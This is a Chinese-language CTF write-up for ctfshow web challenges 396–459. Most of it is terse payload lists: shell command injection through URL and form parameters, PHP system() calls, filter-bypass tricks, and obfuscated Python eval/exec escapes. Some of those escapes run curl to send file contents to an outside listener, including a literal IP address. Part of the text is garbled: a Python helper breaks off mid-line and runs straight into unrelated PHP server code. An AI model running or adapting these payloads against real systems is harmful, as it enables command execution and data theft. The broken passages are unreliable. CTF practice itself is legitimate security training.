- web396、397、398、399、400、401
- web402
- web403
- web404
- web405
- web406不会
- web407
- web408
- web409不会
- web410、411
- web412
- web413
- web414
- web415
- web416
- web417
- web418
- web419
- web420
- web421
- web422
- 下面的题都是python的命令执行的,因为下面代码中的return需要返回的是字符串,所以不是字符串的我们就用str函数转换一下就好了。
- web423
- web424
- web425
- web426
- web427
- web428
- web429
- web430
- web431
- 后面就是正常的过滤了,因为过滤了eval所以我们只能用exec来执行了.但是exec的返回值永远是none,所以只能用一些盲打的方法了。
- web432
- web433
- web434
- web435、436、437、438、439
- web440
- web441
- web442
- web443-444
- web445、446
- web447
- web448
- web449
- web450
- web451
- web452
- web453、455、456
- web454
- web457
- web458
- web459
url=http://1/1;echo `ls`>a.txt
url=http://1/1;echo `cat fl0g.php`>a.txt
web402
payload:url=file://1/1;echo `cat fl0g.php`>a.txt
web403
url=http://127.0.0.1/1;echo `cat fl0g.php`>a.txt
web404
url=http://127.0.0.1111;echo `cat f*`>1.txt;11/a
web405
url=httphp://127.0.0.1111;echo `cat f*`>1.txt;11/a
web406不会
web407
被认为是ipv6地址
ip=cafe::add
web408
用下大佬的话非法字符放在双引号里面绕过email@前缀限制
email=""@a.php
web409不会
web410、411
定义和用法
FILTER_VALIDATE_BOOLEAN 过滤器把值作为布尔选项来验证。
Name: "boolean"
ID-number: 258
可能的返回值:
如果是 "1", "true", "on" 以及 "yes",则返回 true。
如果是 "0", "false", "off", "no" 以及 "",则返回 false。
否则返回 NULL。
payload: b=yes
payload ctfshow=%0asystem('tac f*');
payload ctfshow=*/system('tac f*');/*
payload ctfshow=-1
payload k=Getflag
payload f=ctf::flag
想打人的题,一直base解最后的内容如下
include('flag.php');
$c=$_GET['ctf'];
if($c=='show'){
echo $flag;
}else{
echo 'FLAG_NOT_HERE';
}
?>
payload ctf=show
给的后门没法用,需要变量覆盖然后利用shell_exec payloaddie=0&clear=;cp flag.php flag.txt
然后访问flag.txt即可
payload
code=`cp f* f.txt`;
web420
ls找了几个目录发现在/var/www下(ls …/) 剩下的就是打开了 payload code=nl ../*
还有一种方法,可以参考下大佬写的文章 比如我们想执行 cat index.php,可以依次执行如下命令
>php\\
>dex.\\
>\ in\\
>cat\\
接着执行ls -t >0 这样的话文件0中的内容就是 cat index.php 最后利用sh 0 来执行就可以了
web421因为flag就在当前目录下,所有相对简单了一些 palyoad nl f*
payload nl *
最原始代码
from flask import Flask
from flask import request
import os
app = Flask(__name__)
@app.route('/')
def app_index():
code = request.args.get('code')
if code:
return eval(code)
return 'where is flag?'
if __name__=="__main__":
app.run(host='0.0.0.0',port=80)
web423
无任何过滤,,而且已经导入了os
os.popen('ls /').read()
可以看到flag在根目录下。 后面的我们都盲猜flag在根目录下。 payload open('/flag').read()
去掉了自带的import os
payload open('/flag').read()
过滤了os
字符串,过滤有问题,只会匹配开头 payload open('/flag').read()
过滤了os|popen
,过滤有问题,只会匹配开头 payload open('/flag').read()
过滤了os|popen|system
,过滤有问题,只会匹配开头 payload open('/flag').read()
过滤了os|popen|system|read
,过滤有问题,只会匹配开头 payload open('/flag').read()
过滤了os|open|system|read
,过滤有问题,只会匹配开头 payload open('/flag').read()
open前面有个空格
过滤了os|open|system|read|eval
过滤有问题,只会匹配开头 payload open('/flag').read()
open前面有个空格
过滤了os|open|system|read|eval|str
过滤有问题,只会匹配开头 payload open('/flag').read()
open前面有个空格
通过一些特殊方法得到了每个的源码(不是问的群主)
web432过滤了os|open|system|read|eval
复杂的方法的话可以用类似于模板注入的语句
str(__builtins__.__dict__['__impo'%2b'rt__']('o'%2b's').__getattribute__('syste'%2b'm')('curl http://xxx:4567?p=`cat /f*`'))
开个nc监听一下就可以了
web433过滤了os|open|system|read|eval|builtins
payload
str(__import__('so'[::-1]).__getattribute__('syste'%2b'm')('curl http://xxx:4567?p=`cat /f*`'))
web434
过滤了os|open|system|read|eval|builtins|curl
str(__import__('so'[::-1]).__getattribute__('syste'%2b'm')('cu'%2b'rl http://182.92.91.240:4567?p=`cat /f*`'))
web435、436、437、438、439
435 过滤了os|open|system|read|eval|builtins|curl|_
436 过滤了os|open|system|read|eval|builtins|curl|_|getattr
437 过滤了os|open|system|read|eval|builtins|curl|_|getattr
438 过滤了os|open|system|read|eval|builtins|curl|_|getattr|{
439 过滤了os|open|system|read|eval|builtins|curl|_|getattr|{
python里面可以用分号执行多条语句 比如 a=1;b=2是没有什么问题的 payload
str(exec(')"`*f/ tac`=p?7654:xxx//:ptth lruc"(metsys.so ;so tropmi'[::-1]))
web440
过滤了os|open|system|read|eval|builtins|curl|_|getattr|{|'|"
没有了引号,我们可以用chr构造字符串
s="__import__('os').system('curl http://xxx?p=`cat /f*`')"
def ccchr(s):
t=''
for i in range(len(s)):
if iheader('Content-Type', 'text/html; charset=utf-8');
$s=$request->post['s'];
if(isset($s)){
file_put_contents('shell.php', $s);
$response->end('file write done in /var/www/shell.php');
}
else{
$response->end('s not found');
}
}
public function exec($request,$response){
system('php shell.php');
$response->end('command exec done');
}
也就是说,当我们访问/ctf/file post传入的s会写入shell.php中,然后当我们访问/ctf/exec时,就会去执行刚才的shell.php。 里面的内容大家就可以随意发挥了。 我写的是
得到flaaag 接着打开就可以了
web454
和上一题基本上没啥区别,就是把exec改成include就可以了
web457u=admin&p=phpinfo
phpinfo()返回值为true,所以满足$u=='admin'
payload ?u=php://filter/convert.base64-encode/resource=flag.php&p=1